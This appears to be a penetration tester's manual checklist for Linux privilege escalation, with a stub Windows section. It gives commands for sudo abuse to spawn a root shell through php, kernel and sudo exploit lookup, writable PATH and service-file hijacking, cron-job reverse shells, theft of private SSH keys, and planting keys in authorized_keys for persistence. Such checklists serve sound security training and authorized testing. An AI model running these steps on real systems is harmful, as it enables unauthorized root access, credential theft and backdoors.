Possible privilege escalation vectors - Manual checklist
Check list for common vectors to escalate on Linux & Windows. Use index ->
Linux check list
Check for sudo current user privileges
sudo -l #Shows what sudo privileges the user has
sudo su - #If (ALL:ALL) ALL or privileges on "su", switchs to root user
#user ALL=(ALL) NOPASSWD: /usr/bin/php
sudo php -r “system(‘/bin/sh’);” #/bin/sh to return root shell but you can execute whatever ?"-r" runs php code directly from the CLI, "system" is a function used to execute external commands Check if sudo version is outdated and vulnerable
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
searchsploit sudo OS & Kernel outdated
Keep in mind kernel exploits can cause system instability, if this is a production system coordinate with the client first.
cat /etc/os-release
uname -a
searchsploit versionFoundPATH
If you can write on $PATH directories you may be able to exploit some binaries or libraries.
#Oneliner to check if directories in $PATH are writtable
for dir in $(echo $PATH | tr ':' ' '); do [ -w "$dir" ] && echo ";) Can write on $dir" || echo "Can't write on $dir"; doneVulnerable software installed
dpkg -l #List software on Debian
rpm -qa #List software on CentOSOver-privileged processes
ps -aux
ps -ef
top #Dynamic real time
top -n 1 #One snapshotWritable .service files
If you find any writable .service files, you could modify them so they execute your scripts with higher privileges, also you could place a shell to establish a backdoor and maintain persistence.
#Example on a service config file
ExecStart=/tmp/your_script.sh #Executes the script on service startCron jobs
If you have write permissions to cron jobs you could place a script with a reverse shell which would activate once the timer is up granting us access
#Some places to check
/etc/crontab
/etc/cron.d/
/var/spool/cron/crontabs/root
Exposed credentials
Some files can contain plain text credentials, its common in config files, logs and user history files (bash_history or PSReadLine in Windows). We could also check for password reuse as passwords used for non-critical software could also be used for root for example.
SSH Keys
If we have access to the .ssh directory we may find there their private ssh keys and use them to log as the user without credentials with the -i flag
#Common places
/home/user/.ssh/id_rsa
/root/.ssh/id_rsa
#How to use it in our machine
nano id_rsa
chmod 600 id_rsa #We change privileges so the ssh server doesn't set off the alarms and prevents it from working
ssh user@ip -i id_rsa
If we can access to a users .ssh directory we could place our public key at
/home/user/.ssh/authorized_keys this way we could have a more stable access as we can ssh into the system, of course after we first exploited and gained a shell.
#First we generate the key pair in our machine with
ssh-keygen -f key
#This will give us 2 files:
#Private "key" wich we will use with ssh -i
#Public key "key.pub" that we will copy into the victim's directory or root
echo "key.pub contents" >> /root/.ssh/authorized_keys
echo "key.pub contents" >> /home/user/.ssh/authorized_keys
ssh root@ip -i key
ssh user@ip -i key
Windows
Check for vulnerable software installed
dir C:\Program FilesLast updated